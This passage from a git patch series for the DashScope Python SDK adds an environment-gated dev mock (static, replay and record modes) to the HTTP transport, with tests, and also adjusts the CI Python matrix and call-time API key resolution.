_synthesize(method, url, path, json_body, stream) + key = _fingerprint( + method, + path, + json_body, + params, + base_url=base_url, + content=content, + data=data, + files=files, + headers=headers, + ) + if mode == "replay": + return _replay(key, method, url, stream) + return _record_sync(key, stream, real) + + +async def aintercept( + *, + method: str, + path: str, + json_body: Any = None, + content: Any = None, + data: Any = None, + files: Any = None, + params: Optional[Any] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + stream: bool = False, + real: Callable[[], Awaitable[httpx.Response]], +) -> httpx.Response: + """Async counterpart of :func:`intercept`.""" + mode = _resolve_mode() + if mode is None: + return await real() + url = _abs_url(base_url, path) + if mode == "static": + return _synthesize(method, url, path, json_body, stream) + key = _fingerprint( + method, + path, + json_body, + params, + base_url=base_url, + content=content, + data=data, + files=files, + headers=headers, + ) + if mode == "replay": + return _replay(key, method, url, stream) + return await _record_async(key, stream, real) diff --git a/dashscope/transport/http.py b/dashscope/transport/http.py index 561d8532..ef8714a4 100644 --- a/dashscope/transport/http.py +++ b/dashscope/transport/http.py @@ -5,6 +5,9 @@ from __future__ import annotations import asyncio +import functools +import os +import sys import time from typing import Any, Mapping, Optional, Union @@ -217,6 +220,24 @@ def default_user_agent() -> str: return f"dashscope-v2-python/{__version__}" +_DEV_MODE_ENV = "DASHSCOPE_DEV_MOCK" + + +def _dev_mock_requested() -> bool: + """Whether the dev mock is on, checked before every send. + + Near-zero overhead when disabled: one env lookup plus a + ``sys.modules`` probe that never imports :mod:`dashscope.devkit` on + the production path. Callers check this *before* building the + ``real`` partial, so an ordinary request pays no allocation for the + mock seam. The devkit module is only imported once this is True. + """ + if os.environ.get(_DEV_MODE_ENV): + return True + devkit = sys.modules.get("dashscope.devkit") + return devkit is not None and devkit.is_active() + + class SyncTransport: def __init__( self, @@ -270,6 +291,74 @@ def request( workspace: Optional[str] = None, sdk_module: Optional[str] = None, options: Optional[RequestOptions] = None, + ) -> httpx.Response: + if not _dev_mock_requested(): + return self._request_impl( + method, + path, + json=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + real = functools.partial( + self._request_impl, + method, + path, + json=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + from dashscope import devkit + + return devkit.intercept( + method=method, + path=path, + json_body=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url or self._base_url, + stream=False, + real=real, + ) + + def _request_impl( + self, + method: str, + path: str, + *, + json: Any = None, + content: Optional[bytes] = None, + data: Optional[Mapping[str, Any]] = None, + files: Any = None, + params: Optional[Mapping[str, Any]] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + timeout: Union[float, httpx.Timeout, None] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, ) -> httpx.Response: url = _abs_url(base_url or self._base_url, path) client_request_id = _ident.client_request_id() @@ -424,6 +513,62 @@ def open_stream( response is returned, ownership transfers to the caller and the SDK never retries or replays stream contents. """ + if not _dev_mock_requested(): + return self._open_stream_impl( + method, + path, + json=json, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + real = functools.partial( + self._open_stream_impl, + method, + path, + json=json, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + from dashscope import devkit + + return devkit.intercept( + method=method, + path=path, + json_body=json, + params=params, + headers=headers, + base_url=base_url or self._base_url, + stream=True, + real=real, + ) + + def _open_stream_impl( + self, + method: str, + path: str, + *, + json: Any = None, + params: Optional[Mapping[str, Any]] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + timeout: Union[float, httpx.Timeout, None] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, + ) -> httpx.Response: url = _abs_url(base_url or self._base_url, path) client_request_id = _ident.client_request_id() max_retries = resolve_max_retries(self._max_retries, options) @@ -583,6 +728,74 @@ async def request( workspace: Optional[str] = None, sdk_module: Optional[str] = None, options: Optional[RequestOptions] = None, + ) -> httpx.Response: + if not _dev_mock_requested(): + return await self._arequest_impl( + method, + path, + json=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + real = functools.partial( + self._arequest_impl, + method, + path, + json=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + from dashscope import devkit + + return await devkit.aintercept( + method=method, + path=path, + json_body=json, + content=content, + data=data, + files=files, + params=params, + headers=headers, + base_url=base_url or self._base_url, + stream=False, + real=real, + ) + + async def _arequest_impl( + self, + method: str, + path: str, + *, + json: Any = None, + content: Optional[bytes] = None, + data: Optional[Mapping[str, Any]] = None, + files: Any = None, + params: Optional[Mapping[str, Any]] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + timeout: Union[float, httpx.Timeout, None] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, ) -> httpx.Response: url = _abs_url(base_url or self._base_url, path) client_request_id = _ident.client_request_id() @@ -725,6 +938,62 @@ async def open_stream( options: Optional[RequestOptions] = None, ) -> httpx.Response: """Async twin of :meth:`SyncTransport.open_stream`.""" + if not _dev_mock_requested(): + return await self._aopen_stream_impl( + method, + path, + json=json, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + real = functools.partial( + self._aopen_stream_impl, + method, + path, + json=json, + params=params, + headers=headers, + base_url=base_url, + timeout=timeout, + api_key=api_key, + workspace=workspace, + sdk_module=sdk_module, + options=options, + ) + from dashscope import devkit + + return await devkit.aintercept( + method=method, + path=path, + json_body=json, + params=params, + headers=headers, + base_url=base_url or self._base_url, + stream=True, + real=real, + ) + + async def _aopen_stream_impl( + self, + method: str, + path: str, + *, + json: Any = None, + params: Optional[Mapping[str, Any]] = None, + headers: Optional[Mapping[str, str]] = None, + base_url: Optional[str] = None, + timeout: Union[float, httpx.Timeout, None] = None, + api_key: Optional[str] = None, + workspace: Optional[str] = None, + sdk_module: Optional[str] = None, + options: Optional[RequestOptions] = None, + ) -> httpx.Response: url = _abs_url(base_url or self._base_url, path) client_request_id = _ident.client_request_id() max_retries = resolve_max_retries(self._max_retries, options) diff --git a/tests/test_devkit_mock.py b/tests/test_devkit_mock.py new file mode 100644 index 00000000..c897dbd4 --- /dev/null +++ b/tests/test_devkit_mock.py @@ -0,0 +1,552 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Tests for the dev mock (dashscope.devkit.mock). + +Every test asserts one behavior of the static/replay/record modes at the +transport choke point. The mock is process-global, so an autouse fixture +resets code + env activation around each case. +""" + +# Mock handlers intentionally ignore the request argument. +# pylint: disable=unused-argument + +from __future__ import annotations + +import asyncio +import json + +import httpx +import pytest + +import dashscope +from dashscope import AsyncClient, Client, devkit +from dashscope.devkit import DevMockMiss +from dashscope.devkit import mock as m +from dashscope.errors import DashScopeError + +BASE = "https://api.test.local/api/v1" +DEAD = "https://dead.invalid/api/v1" + +NATIVE_BODY = { + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": {"role": "assistant", "content": "REAL"}, + }, + ], + }, + "usage": {"input_tokens": 1, "output_tokens": 2, "total_tokens": 3}, + "request_id": "real-1", +} +NATIVE_SSE = ( + "id: 1\ndata: " + + json.dumps( + { + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": { + "role": "assistant", + "content": "REAL-STREAM", + }, + }, + ], + }, + "usage": { + "input_tokens": 1, + "output_tokens": 2, + "total_tokens": 3, + }, + "request_id": "real-1", + }, + ) + + "\n\n" +) + + +@pytest.fixture(autouse=True) +def _reset_mock(monkeypatch): + monkeypatch.delenv("DASHSCOPE_DEV_MOCK", raising=False) + monkeypatch.delenv("DASHSCOPE_DEV_MOCK_FIXTURE", raising=False) + devkit.disable_dev_mock() + yield + devkit.disable_dev_mock() + + +def _is_stream(body: dict) -> bool: + return bool(body.get("parameters", {}).get("incremental_output")) + + +def _real_handler(request): + body = json.loads(request.content) + if _is_stream(body): + return httpx.Response( + 200, + content=NATIVE_SSE, + headers={"content-type": "text/event-stream"}, + ) + return httpx.Response(200, json=NATIVE_BODY) + + +def _boom(request): + raise AssertionError("network hit while the mock should serve it") + + +def _client(handler=None, **kwargs): + if handler is None: + kwargs.setdefault("base_url", DEAD) + return Client(api_key="sk-test", **kwargs) + http_client = httpx.Client( + transport=httpx.MockTransport(handler), + base_url=BASE, + ) + kwargs.setdefault("base_url", BASE) + return Client(api_key="sk-secret", http_client=http_client, **kwargs) + + +def _async_client(handler): + http_client = httpx.AsyncClient( + transport=httpx.MockTransport(handler), + base_url=BASE, + ) + return AsyncClient( + api_key="sk-secret", + http_client=http_client, + base_url=BASE, + ) + + +_MSG = [{"role": "user", "content": "hi"}] + + +# --- static --------------------------------------------------------------- + + +def test_static_nonstream_needs_no_network(): + dashscope.enable_dev_mock("static") + resp = _client().chat.completions.create(model="qwen-plus", messages=_MSG) + assert resp.output_text.startswith(devkit.MOCK_MARKER) + + +def test_static_nonstream_request_id_is_marked(): + dashscope.enable_dev_mock("static") + resp = _client().chat.completions.create(model="qwen-plus", messages=_MSG) + assert resp.request_id.startswith("mock-") + + +def test_static_stream_reassembles_and_reports_usage(): + dashscope.enable_dev_mock("static") + stream = _client().chat.completions.create( + model="qwen-plus", + messages=_MSG, + stream=True, + ) + assert "".join(stream.text_stream).startswith(devkit.MOCK_MARKER) + assert stream.get_final_message().usage is not None + + +def test_static_openai_protocol(): + dashscope.enable_dev_mock("static") + client = _client(protocol="openai", base_url="https://dead.invalid/v1") + resp = client.chat.completions.create(model="qwen-plus", messages=_MSG) + assert resp.output_text.startswith(devkit.MOCK_MARKER) + + +def test_static_anthropic_protocol_stream(): + dashscope.enable_dev_mock("static") + client = _client(protocol="anthropic", base_url="https://dead.invalid") + stream = client.chat.completions.create( + model="qwen-plus", + messages=_MSG, + stream=True, + ) + assert "".join(stream.text_stream).startswith(devkit.MOCK_MARKER) + + +def test_static_multimodal_path_is_supported(): + dashscope.enable_dev_mock("static") + resp = _client().multimodal.chat.create( + model="qwen-vl", + messages=[{"role": "user", "content": [{"text": "hi"}]}], + ) + assert resp.output_text.startswith(devkit.MOCK_MARKER) + + +def test_static_refuses_non_chat_endpoint_loudly(): + dashscope.enable_dev_mock("static") + with pytest.raises(DevMockMiss): + _client().embeddings.create(model="text-embedding-v4", input=["hi"]) + + +# --- env activation ------------------------------------------------------- + + +def test_env_var_activates_static(monkeypatch): + monkeypatch.setenv("DASHSCOPE_DEV_MOCK", "static") + assert dashscope.dev_mock_active() is True + resp = _client().chat.completions.create(model="qwen-plus", messages=_MSG) + assert resp.output_text.startswith(devkit.MOCK_MARKER) + + +def test_invalid_env_mode_raises(monkeypatch): + monkeypatch.setenv("DASHSCOPE_DEV_MOCK", "nope") + with pytest.raises(ValueError): + dashscope.dev_mock_active() + + +def test_disable_restores_passthrough(): + dashscope.enable_dev_mock("static") + dashscope.disable_dev_mock() + assert dashscope.dev_mock_active() is False + with pytest.raises(AssertionError): + _client(_boom).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + + +# --- record / replay ------------------------------------------------------ + + +def _read_fixture(path): + with open(path, encoding="utf-8") as f: + return [json.loads(line) for line in f if line.strip()] + + +def test_record_writes_fixture_without_credentials(tmp_path): + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + resp = _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + assert resp.output_text == "REAL" + with open(fix, encoding="utf-8") as f: + raw = f.read() + assert "sk-secret" not in raw + assert "uthorization" not in raw + assert len(_read_fixture(fix)) == 1 + + +def test_record_then_replay_serves_from_fixture(tmp_path): + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + dashscope.enable_dev_mock("replay", fix) + resp = _client(_boom).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + assert resp.output_text == "REAL" + + +def test_replay_stream_roundtrip(tmp_path): + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + recorded = "".join( + _client(_real_handler) + .chat.completions.create(model="qwen-plus", messages=_MSG, stream=True) + .text_stream, + ) + dashscope.disable_dev_mock() + + dashscope.enable_dev_mock("replay", fix) + replayed = "".join( + _client(_boom) + .chat.completions.create(model="qwen-plus", messages=_MSG, stream=True) + .text_stream, + ) + dashscope.disable_dev_mock() + assert replayed == recorded == "REAL-STREAM" + + +def test_replay_miss_raises_dev_mock_miss(tmp_path): + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + dashscope.enable_dev_mock("replay", fix) + with pytest.raises(DevMockMiss): + _client(_boom).chat.completions.create( + model="different-model", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + +def test_dev_mock_miss_is_a_dashscope_error(): + assert issubclass(DevMockMiss, DashScopeError) + + +# --- record hardening ----------------------------------------------------- + + +def test_record_fixture_is_owner_only(tmp_path): + fix = tmp_path / "mock.jsonl" + dashscope.enable_dev_mock("record", str(fix)) + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + # Recorded bodies can be sensitive; the file must not be group/other + # readable. + assert fix.stat().st_mode & 0o777 == 0o600 + + +def test_record_mode_warns_once(tmp_path, monkeypatch): + monkeypatch.setattr(m, "_warned_record", False) + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + with pytest.warns(UserWarning, match="record"): + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + +def test_re_record_newest_wins(tmp_path): + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + def handler2(request): + body = dict(NATIVE_BODY) + body["output"] = { + "choices": [ + { + "finish_reason": "stop", + "message": {"role": "assistant", "content": "REAL2"}, + }, + ], + } + return httpx.Response(200, json=body) + + dashscope.enable_dev_mock("record", fix) + _client(handler2).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + # Same request re-recorded: replay must serve the newest capture, + # not the stale first one. + dashscope.enable_dev_mock("replay", fix) + resp = _client(_boom).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + assert resp.output_text == "REAL2" + + +def test_replay_misses_when_endpoint_differs(tmp_path): + fix = str(tmp_path / "mock.jsonl") + dashscope.enable_dev_mock("record", fix) + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + + # Same path + body but a different endpoint (region): the capture + # must not replay, or a Hangzhou recording would answer a Singapore + # request. + other = "https://api.other-region.test.local/api/v1" + dashscope.enable_dev_mock("replay", fix) + http_client = httpx.Client( + transport=httpx.MockTransport(_boom), + base_url=other, + ) + client = Client( + api_key="sk-secret", + http_client=http_client, + base_url=other, + ) + with pytest.raises(DevMockMiss): + client.chat.completions.create(model="qwen-plus", messages=_MSG) + dashscope.disable_dev_mock() + + +def test_redactor_scrubs_recorded_body(tmp_path): + fix = str(tmp_path / "mock.jsonl") + devkit.set_redactor(lambda body: {**body, "output": ""}) + try: + dashscope.enable_dev_mock("record", fix) + _client(_real_handler).chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + dashscope.disable_dev_mock() + finally: + devkit.set_redactor(None) + with open(fix, encoding="utf-8") as f: + raw = f.read() + assert "REAL" not in raw + assert "" in raw + + +# --- fixture encoding / stream completeness (unit level) ------------------ + + +def test_binary_body_roundtrips_losslessly(): + raw = bytes(range(256)) # not valid UTF-8 + encoded = m._encode_body(raw) + assert encoded["body_encoding"] == "base64" + assert m._decode_body(encoded) == raw + + +def test_text_body_stays_readable(): + encoded = m._encode_body(b'{"ok": true}') + assert encoded["body_encoding"] == "utf-8" + assert encoded["body"] == '{"ok": true}' + assert m._decode_body(encoded) == b'{"ok": true}' + + +def test_stream_drained_to_eof_is_complete(): + class Inner(httpx.SyncByteStream): + def __iter__(self): + yield b"a" + yield b"b" + + seen = {} + tee = m._TeeSyncStream( + Inner(), + lambda raw, complete: seen.update(raw=raw, complete=complete), + ) + assert list(tee) == [b"a", b"b"] + assert seen["complete"] is True + assert seen["raw"] == b"ab" + + +def test_stream_closed_early_is_incomplete(): + class Inner(httpx.SyncByteStream): + def __iter__(self): + yield b"a" + yield b"b" + + seen = {} + tee = m._TeeSyncStream( + Inner(), + lambda raw, complete: seen.update(raw=raw, complete=complete), + ) + iterator = iter(tee) + next(iterator) # consume one chunk, then abandon + tee.close() + assert seen["complete"] is False + assert seen["raw"] == b"a" + + +def test_replay_refuses_incomplete_stream(tmp_path, monkeypatch): + fix = str(tmp_path / "mock.jsonl") + monkeypatch.setenv("DASHSCOPE_DEV_MOCK_FIXTURE", fix) + key = m._fingerprint( + "POST", + "/x", + {"model": "qwen-plus"}, + None, + base_url="https://b/api/v1", + ) + m._append_fixture( + { + "key": key, + "stream": True, + "complete": False, + "status_code": 200, + "content_type": "text/event-stream", + "body": "data: {}\n\n", + "body_encoding": "utf-8", + }, + ) + with pytest.raises(DevMockMiss): + m._replay(key, "POST", "https://b/api/v1/x", True) + monkeypatch.setenv("DASHSCOPE_DEV_MOCK_ALLOW_PARTIAL", "1") + assert ( + m._replay(key, "POST", "https://b/api/v1/x", True).status_code == 200 + ) + + +def test_fingerprint_separates_body_channels(): + base = m._fingerprint("POST", "/x", {"a": 1}, None) + assert base != m._fingerprint("POST", "/x", {"a": 1}, None, content=b"z") + assert base != m._fingerprint( + "POST", + "/x", + {"a": 1}, + None, + base_url="https://other/api/v1", + ) + # Volatile identity headers never change the key. + assert base == m._fingerprint( + "POST", + "/x", + {"a": 1}, + None, + headers={"Authorization": "Bearer x", "User-Agent": "y"}, + ) + + +# --- async ---------------------------------------------------------------- + + +def test_async_record_then_replay(tmp_path): + fix = str(tmp_path / "mock.jsonl") + + async def run(): + dashscope.enable_dev_mock("record", fix) + client = _async_client(_real_handler) + recorded = ( + await client.chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + ).output_text + await client.aclose() + dashscope.disable_dev_mock() + + dashscope.enable_dev_mock("replay", fix) + client = _async_client(_boom) + replayed = ( + await client.chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + ).output_text + await client.aclose() + dashscope.disable_dev_mock() + return recorded, replayed + + recorded, replayed = asyncio.run(run()) + assert recorded == replayed == "REAL" + + +def test_async_static_needs_no_network(): + async def run(): + dashscope.enable_dev_mock("static") + client = AsyncClient(api_key="sk-test", base_url=DEAD) + resp = await client.chat.completions.create( + model="qwen-plus", + messages=_MSG, + ) + await client.aclose() + return resp.output_text + + assert asyncio.run(run()).startswith(devkit.MOCK_MARKER) From 3cfa035ff36fe8373aee2c70cf0ae1660df0134f Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Thu, 5 Nov 2026 11:19:30 +0800 Subject: [PATCH 15/26] ci: pin Python 3.9 leg to ubuntu-24.04 ubuntu-latest now resolves to Ubuntu 26.04, which has no CPython 3.9 build in actions/python-versions, so setup-python failed with "version '3.9' ... not found for Ubuntu 26.04". The package still declares python_requires=">=3.9", so keep the 3.9 leg but run it on ubuntu-24.04 (the newest image that ships 3.9); 3.10-3.13 stay on ubuntu-latest. --- .github/workflows/unit_test.yml | 30 ++++++++++++++++++++++++++---- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/.github/workflows/unit_test.yml b/.github/workflows/unit_test.yml index 9beeb4e9..d6c14d06 100644 --- a/.github/workflows/unit_test.yml +++ b/.github/workflows/unit_test.yml @@ -15,8 +15,19 @@ jobs: runs-on: ${{ matrix.os }} strategy: matrix: - os: [ ubuntu-latest ] - python-version: [ '3.9', '3.10', '3.11', '3.12', '3.13' ] + # ubuntu-latest (26.04) ships no CPython 3.9 build, so pin the + # still-supported 3.9 leg to 24.04 and keep the rest on latest. + include: + - os: ubuntu-24.04 + python-version: '3.9' + - os: ubuntu-latest + python-version: '3.10' + - os: ubuntu-latest + python-version: '3.11' + - os: ubuntu-latest + python-version: '3.12' + - os: ubuntu-latest + python-version: '3.13' steps: - name: Checkout repository @@ -68,8 +79,19 @@ jobs: runs-on: ${{ matrix.os }} strategy: matrix: - os: [ ubuntu-latest ] - python-version: [ '3.9', '3.10', '3.11', '3.12', '3.13' ] + # ubuntu-latest (26.04) ships no CPython 3.9 build, so pin the + # still-supported 3.9 leg to 24.04 and keep the rest on latest. + include: + - os: ubuntu-24.04 + python-version: '3.9' + - os: ubuntu-latest + python-version: '3.10' + - os: ubuntu-latest + python-version: '3.11' + - os: ubuntu-latest + python-version: '3.12' + - os: ubuntu-latest + python-version: '3.13' steps: - name: Checkout repository From 5e9cd9aab32863bfff7ecbdf87d3432caa1f157b Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Thu, 5 Nov 2026 11:27:04 +0800 Subject: [PATCH 16/26] test(ci): treat dashscope.devkit as a neutral current-layer package The layer-decoupling guard flagged errors.py and types/common.py for their lazy `from dashscope.devkit.diagnosis import diagnose` hooks, because `devkit` was absent from _NEUTRAL_PACKAGES and the guard defaults every unknown dashscope.* import to "1.x business surface". devkit is a new 2.0 subsystem, not 1.x, so add it to the neutral set and to the _CURRENT scan roots so the guard also keeps devkit itself free of 1.x imports going forward. --- tests/legacy_1x/unit/test_layer_decoupling.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/legacy_1x/unit/test_layer_decoupling.py b/tests/legacy_1x/unit/test_layer_decoupling.py index c884a1f6..6f770542 100644 --- a/tests/legacy_1x/unit/test_layer_decoupling.py +++ b/tests/legacy_1x/unit/test_layer_decoupling.py @@ -30,6 +30,7 @@ _DASHSCOPE / "resources", _DASHSCOPE / "transport", _DASHSCOPE / "types", + _DASHSCOPE / "devkit", _DASHSCOPE / "applications" / "agentstudio", _DASHSCOPE / "applications" / "finetune" / "reinforcement", ) @@ -42,6 +43,7 @@ "acli", "agentstudio", "applications", + "devkit", "finetune", "protocols", "resources", From e506860f20c9cd2b7fb8bab037390e0f90b6e270 Mon Sep 17 00:00:00 2001 From: luk384090-cloud Date: Thu, 5 Nov 2026 15:19:31 +0800 Subject: [PATCH 17/26] fix(core): unify API key resolution and improve error handling - Introduce resolve_api_key and resolve_fc_api_key functions to fetch current API keys at call time - Refactor usage to avoid relying on import-time environment variable snapshots - Add explicit api_key parameters to relevant functions for better credential passing - Normalize dataset file parameters to avoid [None] issues in uploads - Preserve AgenticRLError classification across upload and HTTP request layers - Harden start.sh generation with shell-safe validation of embedded values - Improve server admission control using asyncio.Semaphore to limit in-flight requests - Enhance request validation error logging with masked request body preview at debug level - Fix async execution in FuncManager and deep-copy RewardProcessorMeta to avoid shared state - Update user guide to warn about DEBUG log level exposing full credentials - Add unit tests to cover dataset upload parameter normalization and error preservation --- dashscope/applications/finetune/agentic_rl.py | 13 +- .../finetune/reinforcement/__init__.py | 4 + .../reinforcement/common/constants.py | 35 ++ .../finetune/reinforcement/common/model.py | 138 +++++-- .../finetune/reinforcement/common/utils.py | 170 ++++++--- .../reinforcement/component/func_manager.py | 6 +- .../processor/abstract_reward_processor.py | 16 +- .../reinforcement/component/server/server.py | 95 ++++- .../examples/workspace/UserGuide-zh.md | 4 +- .../examples/workspace/UserGuide.md | 4 +- .../unit/test_agentic_rl_datasets_upload.py | 168 +++++++++ tests/legacy_1x/unit/test_agentic_rl_model.py | 23 +- .../test_agentic_rl_review_regressions.py | 313 ++++++++++++++++ .../unit/test_agentic_rl_server_hardening.py | 345 ++++++++++++++++++ tests/legacy_1x/unit/test_agentic_rl_utils.py | 77 +++- 15 files changed, 1278 insertions(+), 133 deletions(-) create mode 100644 tests/legacy_1x/unit/test_agentic_rl_datasets_upload.py create mode 100644 tests/legacy_1x/unit/test_agentic_rl_review_regressions.py create mode 100644 tests/legacy_1x/unit/test_agentic_rl_server_hardening.py diff --git a/dashscope/applications/finetune/agentic_rl.py b/dashscope/applications/finetune/agentic_rl.py index 30bb9992..0288b6c6 100644 --- a/dashscope/applications/finetune/agentic_rl.py +++ b/dashscope/applications/finetune/agentic_rl.py @@ -21,7 +21,6 @@ from __future__ import annotations -import os import time from typing import Union, List, Optional, ClassVar, Dict, Any from typing_extensions import Self @@ -58,6 +57,7 @@ generate_random_id, get_func_type_id, deep_remove_none, + resolve_api_key, ) from dashscope.applications.finetune.reinforcement.common.errors import ( RegistrationError, @@ -148,7 +148,7 @@ def __init__(self, api_key: str = None): def _resolve_api_key(self) -> str: """The key to submit with; see the module docstring.""" - return self._api_key or os.environ.get("DASHSCOPE_API_KEY", "") + return resolve_api_key(self._api_key) def init(self, config_path: Optional[str] = None, **kwargs) -> Self: """ @@ -190,6 +190,7 @@ async def register_functions( group_reward_instance_ids, ) = await self.tuning.register_functions( lazy_load=lazy_load, + api_key=self._resolve_api_key(), ) logger.info("Function components registered") except Exception as e: @@ -226,6 +227,7 @@ async def upload_datasets( ) = await self.tuning.upload_datasets( training_files=training_files or [], validation_files=validation_files or [], + api_key=self._resolve_api_key(), ) logger.info("Datasets uploaded") except Exception as e: @@ -573,6 +575,7 @@ async def test_functions( result = await AgenticRLFunctionComponent.verify_function( value, instance_id, + api_key=api_key, ) if pull_logs: @@ -581,6 +584,7 @@ async def test_functions( page_size=log_page_size, start_time=start_time, end_time=end_time, + api_key=api_key, ) return result @@ -629,6 +633,7 @@ async def query_function_instance_logs( start_time=start_time, end_time=end_time, keywords=keywords, + api_key=api_key, ) except Exception as e: @@ -676,6 +681,7 @@ async def query_all_function_instance_logs( start_time=start_time, end_time=end_time, keywords=keywords, + api_key=api_key, ) except Exception as e: @@ -713,6 +719,7 @@ async def delete_function_instance( fc_component = AgenticRLFunctionComponent return await fc_component.delete_function_instance( function_instance_id=function_instance_id, + api_key=api_key, ) except Exception as e: @@ -730,6 +737,7 @@ async def _pull_function_instance_logs( page_size: int = 100, start_time: Optional[int] = None, end_time: Optional[int] = None, + api_key: Optional[str] = None, ) -> None: """Pull all logs of a function instance and print them between separator markers (best effort, never raises). @@ -751,6 +759,7 @@ async def _pull_function_instance_logs( page_size=page_size, start_time=start_time, end_time=end_time, + api_key=api_key, ) for entry in logs: logger.info(f"[function instance log] {entry}") diff --git a/dashscope/applications/finetune/reinforcement/__init__.py b/dashscope/applications/finetune/reinforcement/__init__.py index 88df537a..80dc0e8b 100644 --- a/dashscope/applications/finetune/reinforcement/__init__.py +++ b/dashscope/applications/finetune/reinforcement/__init__.py @@ -41,6 +41,8 @@ DATASETS_FILE_SIZE_WARNING, HTTP_REQUEST_TIMEOUT, LOGGER_FILTER_FIELDS, + resolve_api_key, + resolve_fc_api_key, ) from .common.errors import ( AgenticRLError, @@ -174,6 +176,8 @@ "DATASETS_FILE_SIZE_WARNING", "HTTP_REQUEST_TIMEOUT", "LOGGER_FILTER_FIELDS", + "resolve_api_key", + "resolve_fc_api_key", # Errors "AgenticRLError", "InputError", diff --git a/dashscope/applications/finetune/reinforcement/common/constants.py b/dashscope/applications/finetune/reinforcement/common/constants.py index e29a7273..7a9e6ab3 100644 --- a/dashscope/applications/finetune/reinforcement/common/constants.py +++ b/dashscope/applications/finetune/reinforcement/common/constants.py @@ -1,6 +1,7 @@ # -*- coding: utf-8 -*- import logging import os +from typing import Optional # -------------------------- @@ -29,9 +30,43 @@ def get_int_env(env_var: str, default: int) -> int: ) # API Key configuration +# +# ``DASHSCOPE_API_KEY`` / ``FC_API_KEY`` below are import-time snapshots, +# kept only for backwards compatibility with code that reads them +# directly. They must NOT be used as the runtime credential source: a key +# passed to ``AgenticRL(api_key=...)`` -- or written to the environment +# after this module is imported -- never reaches a value frozen at import, +# and several ``AgenticRL`` instances in one process would fight over the +# same module global. Resolve credentials at call time through +# ``resolve_api_key`` / ``resolve_fc_api_key`` instead. DASHSCOPE_API_KEY = os.environ.get("DASHSCOPE_API_KEY", "") FC_API_KEY = os.environ.get("FC_API_KEY", DASHSCOPE_API_KEY) + +def resolve_api_key(api_key: Optional[str] = None) -> str: + """Resolve the DashScope credential at call time. + + Prefers an explicitly supplied key (instance-scoped), then falls back + to the current environment. Never reads the import-time constant, so a + key set after import -- or held by one ``AgenticRL`` instance among + many in the same process -- is honored. + """ + return api_key or os.environ.get("DASHSCOPE_API_KEY", "") or "" + + +def resolve_fc_api_key(api_key: Optional[str] = None) -> str: + """Resolve the Function Compute credential at call time. + + Prefers an explicitly supplied key (instance-scoped), then ``FC_API_KEY``, + then ``DASHSCOPE_API_KEY`` from the current environment. + """ + return ( + api_key + or os.environ.get("FC_API_KEY") + or os.environ.get("DASHSCOPE_API_KEY") + or "" + ) + # -------------------------- # Logging Configuration # -------------------------- diff --git a/dashscope/applications/finetune/reinforcement/common/model.py 